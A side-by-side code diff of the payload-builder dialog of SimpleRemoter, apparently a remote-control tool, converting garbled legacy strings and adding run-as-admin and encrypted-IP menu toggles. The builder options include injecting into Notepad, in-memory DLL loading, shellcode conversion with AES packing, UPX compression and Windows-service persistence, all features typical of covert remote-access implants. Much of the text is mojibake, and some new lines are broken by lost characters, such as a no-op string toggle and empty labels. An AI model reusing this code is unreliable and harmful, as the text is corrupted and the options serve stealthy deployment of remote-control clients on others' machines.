e->GetErrorMessage(err, sizeof(err)); e->GetErrorMessage(err, sizeof(err));
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:" + CString(err), "<EFBFBD>", MB_ICONERROR); MessageBox("其他异常:" + CString(err), "异常", MB_ICONERROR);
} }
SAFE_DELETE_ARRAY(szBuffer); SAFE_DELETE_ARRAY(szBuffer);
@@ -377,33 +380,33 @@ BOOL CBuildDlg::OnInitDialog()
{ {
CDialog::OnInitDialog(); CDialog::OnInitDialog();
// TODO: <EFBFBD>ڴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><EFBFBD> // TODO: 在此添加额外的初始化
CEdit* pEdit = (CEdit*)GetDlgItem(IDC_EDIT_IP); CEdit* pEdit = (CEdit*)GetDlgItem(IDC_EDIT_IP);
pEdit->LimitText(99); pEdit->LimitText(99);
m_ComboExe.InsertString(IndexTestRun_DLL, "TestRun - <EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL"); m_ComboExe.InsertString(IndexTestRun_DLL, "TestRun - 磁盘DLL");
m_ComboExe.InsertString(IndexTestRun_MemDLL, "TestRun - <EFBFBD>ڴ<EFBFBD>DLL"); m_ComboExe.InsertString(IndexTestRun_MemDLL, "TestRun - 内存DLL");
m_ComboExe.InsertString(IndexTestRun_InjSC, "TestRun - ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>±<EFBFBD>"); m_ComboExe.InsertString(IndexTestRun_InjSC, "TestRun - 注入记事本");
m_ComboExe.InsertString(IndexGhost, "ghost.exe"); m_ComboExe.InsertString(IndexGhost, "ghost.exe");
m_ComboExe.InsertString(IndexServerDll, "ServerDll.dll"); m_ComboExe.InsertString(IndexServerDll, "ServerDll.dll");
m_ComboExe.InsertString(IndexTinyRun, "TinyRun.dll"); m_ComboExe.InsertString(IndexTinyRun, "TinyRun.dll");
m_ComboExe.InsertString(IndexGhostMsc, "ghost.exe - Windows <EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); m_ComboExe.InsertString(IndexGhostMsc, "ghost.exe - Windows 服务");
m_ComboExe.InsertString(IndexTestRunMsc, "TestRun - Windows <EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); m_ComboExe.InsertString(IndexTestRunMsc, "TestRun - Windows 服务");
m_ComboExe.InsertString(OTHER_ITEM, CString("ѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>")); m_ComboExe.InsertString(OTHER_ITEM, CString("选择文件"));
m_ComboExe.SetCurSel(IndexTestRun_MemDLL); m_ComboExe.SetCurSel(IndexTestRun_MemDLL);
m_ComboBits.InsertString(0, "64λ"); m_ComboBits.InsertString(0, "64");
m_ComboBits.InsertString(1, "32λ"); m_ComboBits.InsertString(1, "32");
m_ComboBits.SetCurSel(0); m_ComboBits.SetCurSel(0);
m_ComboRunType.InsertString(RUNNING_RANDOM, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); m_ComboRunType.InsertString(RUNNING_RANDOM, "随机上线");
m_ComboRunType.InsertString(RUNNING_PARALLEL, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); m_ComboRunType.InsertString(RUNNING_PARALLEL, "并发上线");
m_ComboRunType.SetCurSel(RUNNING_RANDOM); m_ComboRunType.SetCurSel(RUNNING_RANDOM);
m_ComboProto.InsertString(PROTO_TCP, "TCP"); m_ComboProto.InsertString(PROTO_TCP, "TCP");
m_ComboProto.InsertString(PROTO_UDP, "UDP"); m_ComboProto.InsertString(PROTO_UDP, "UDP");
m_ComboProto.InsertString(PROTO_HTTP, "HTTP"); m_ComboProto.InsertString(PROTO_HTTP, "HTTP");
m_ComboProto.InsertString(PROTO_RANDOM, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); m_ComboProto.InsertString(PROTO_RANDOM, "随机");
m_ComboProto.InsertString(PROTO_KCP, "KCP"); m_ComboProto.InsertString(PROTO_KCP, "KCP");
m_ComboProto.SetCurSel(PROTO_TCP); m_ComboProto.SetCurSel(PROTO_TCP);
@@ -411,7 +414,7 @@ BOOL CBuildDlg::OnInitDialog()
m_ComboEncrypt.InsertString(PROTOCOL_HELL, "HELL"); m_ComboEncrypt.InsertString(PROTOCOL_HELL, "HELL");
m_ComboEncrypt.SetCurSel(PROTOCOL_SHINE); m_ComboEncrypt.SetCurSel(PROTOCOL_SHINE);
m_ComboCompress.InsertString(CLIENT_COMPRESS_NONE, "<EFBFBD><EFBFBD>"); m_ComboCompress.InsertString(CLIENT_COMPRESS_NONE, "");
m_ComboCompress.InsertString(CLIENT_COMPRESS_UPX, "UPX"); m_ComboCompress.InsertString(CLIENT_COMPRESS_UPX, "UPX");
m_ComboCompress.InsertString(CLIENT_COMPRESS_SC_AES, "ShellCode AES"); m_ComboCompress.InsertString(CLIENT_COMPRESS_SC_AES, "ShellCode AES");
m_ComboCompress.InsertString(CLIENT_PE_TO_SEHLLCODE, "PE->ShellCode"); m_ComboCompress.InsertString(CLIENT_PE_TO_SEHLLCODE, "PE->ShellCode");
@@ -419,8 +422,16 @@ BOOL CBuildDlg::OnInitDialog()
m_OtherItem.ShowWindow(SW_HIDE); m_OtherItem.ShowWindow(SW_HIDE);
m_runasAdmin = FALSE;
m_MainMenu.LoadMenuA(IDR_MENU_BUILD);
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
SubMenu->CheckMenuItem(ID_MENU_ENCRYPT_IP, MF_CHECKED);
SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, MF_UNCHECKED);
::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); // 为窗口设置菜单
::DrawMenuBar(this->GetSafeHwnd()); // 显示菜单
return TRUE; // return TRUE unless you set the focus to a control return TRUE; // return TRUE unless you set the focus to a control
// <EFBFBD>: OCX <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳӦ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> FALSE // 异常: OCX 属性页应返回 FALSE
} }
void CBuildDlg::OnCbnSelchangeComboExe() void CBuildDlg::OnCbnSelchangeComboExe()
@@ -430,17 +441,17 @@ void CBuildDlg::OnCbnSelchangeComboExe()
CComPtr<IShellFolder> spDesktop; CComPtr<IShellFolder> spDesktop;
HRESULT hr = SHGetDesktopFolder(&spDesktop); HRESULT hr = SHGetDesktopFolder(&spDesktop);
if (FAILED(hr)) { if (FAILED(hr)) {
MessageBox("Explorer δ<EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>", "<EFBFBD><EFBFBD>ʾ"); MessageBox("Explorer 未正确初始化! 请稍后再试。", "提示");
return; return;
} }
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD> // 过滤器:显示所有文件和特定类型文件(例如文本文件)
CFileDialog fileDlg(TRUE, _T("dll"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, CFileDialog fileDlg(TRUE, _T("dll"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
_T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"), AfxGetMainWnd()); _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"), AfxGetMainWnd());
int ret = 0; int ret = 0;
try { try {
ret = fileDlg.DoModal(); ret = fileDlg.DoModal();
} catch (...) { } catch (...) {
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD>ɹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>", "<EFBFBD><EFBFBD>ʾ"); MessageBox("文件对话框未成功打开! 请稍后再试。", "提示");
return; return;
} }
if (ret == IDOK) { if (ret == IDOK) {
@@ -460,7 +471,7 @@ void CBuildDlg::OnCbnSelchangeComboExe()
SAFE_DELETE_ARRAY(szBuffer); SAFE_DELETE_ARRAY(szBuffer);
} }
} else { } else {
m_OtherItem.SetWindowTextA("δѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>"); m_OtherItem.SetWindowTextA("未选择文件");
} }
m_OtherItem.ShowWindow(SW_SHOW); m_OtherItem.ShowWindow(SW_SHOW);
} else { } else {
@@ -472,7 +483,7 @@ void CBuildDlg::OnCbnSelchangeComboExe()
void CBuildDlg::OnHelpParameters() void CBuildDlg::OnHelpParameters()
{ {
CString url = _T("https://github.com/yuanyuanxiang/SimpleRemoter/wiki#<EFBFBD><EFBFBD><EFBFBD>ɲ<EFBFBD><EFBFBD><EFBFBD>"); CString url = _T("https://github.com/yuanyuanxiang/SimpleRemoter/wiki#生成参数");
ShellExecute(NULL, _T("open"), url, NULL, NULL, SW_SHOWNORMAL); ShellExecute(NULL, _T("open"), url, NULL, NULL, SW_SHOWNORMAL);
} }
@@ -481,7 +492,7 @@ void CBuildDlg::OnHelpFindden()
{ {
CInputDialog dlg(this); CInputDialog dlg(this);
dlg.m_str = m_strFindden; dlg.m_str = m_strFindden;
dlg.Init("<EFBFBD><EFBFBD><EFBFBD>ɱ<EFBFBD>ʶ", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ñ<EFBFBD>ʶ<EFBFBD><EFBFBD>Ϣ:"); dlg.Init("生成标识", "请设置标识信息:");
if (dlg.DoModal() == IDOK) { if (dlg.DoModal() == IDOK) {
m_strFindden = dlg.m_str; m_strFindden = dlg.m_str;
} }
@@ -490,13 +501,15 @@ void CBuildDlg::OnHelpFindden()
void CBuildDlg::OnMenuEncryptIp() void CBuildDlg::OnMenuEncryptIp()
{ {
CInputDialog dlg(this); m_strEncryptIP = m_strEncryptIP == "" ? "" : "";
dlg.m_str = m_strEncryptIP; CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
dlg.Init("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD>̵<EFBFBD>ַ", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD><EFBFBD>߷<EFBFBD>:"); SubMenu->CheckMenuItem(ID_MENU_ENCRYPT_IP, m_strEncryptIP == "" ? MF_CHECKED : MF_UNCHECKED);
if (dlg.DoModal() == IDOK ) { }
if (m_strEncryptIP != "<EFBFBD><EFBFBD>" && m_strEncryptIP != "<EFBFBD><EFBFBD>") {
MessageBoxA("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD><EFBFBD>߷<EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
} else void CBuildDlg::OnClientRunasAdmin()
m_strEncryptIP = dlg.m_str; {
} m_runasAdmin = !m_runasAdmin;
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, m_runasAdmin ? MF_CHECKED : MF_UNCHECKED);
} }

View File

@@ -1,4 +1,4 @@
#pragma once #pragma once
#include "Buffer.h" #include "Buffer.h"
@@ -6,21 +6,23 @@ LPBYTE ReadResource(int resourceId, DWORD& dwSize);
std::string ReleaseEXE(int resID, const char* name); std::string ReleaseEXE(int resID, const char* name);
// CBuildDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD> // CBuildDlg 对话框
class CBuildDlg : public CDialog class CBuildDlg : public CDialog
{ {
DECLARE_DYNAMIC(CBuildDlg) DECLARE_DYNAMIC(CBuildDlg)
public: public:
CBuildDlg(CWnd* pParent = NULL); // <EFBFBD><EFBFBD>׼<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CBuildDlg(CWnd* pParent = NULL); // 标准构造函数
virtual ~CBuildDlg(); virtual ~CBuildDlg();
// <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 对话框数据
enum { IDD = IDD_DIALOG_BUILD }; enum { IDD = IDD_DIALOG_BUILD };
CMenu m_MainMenu;
BOOL m_runasAdmin;
protected: protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<EFBFBD><EFBFBD> virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP() DECLARE_MESSAGE_MAP()
public: public:
@@ -44,4 +46,5 @@ public:
CString m_sGroupName; CString m_sGroupName;
CString m_strEncryptIP; CString m_strEncryptIP;
afx_msg void OnMenuEncryptIp(); afx_msg void OnMenuEncryptIp();
afx_msg void OnClientRunasAdmin();
}; };

Binary file not shown.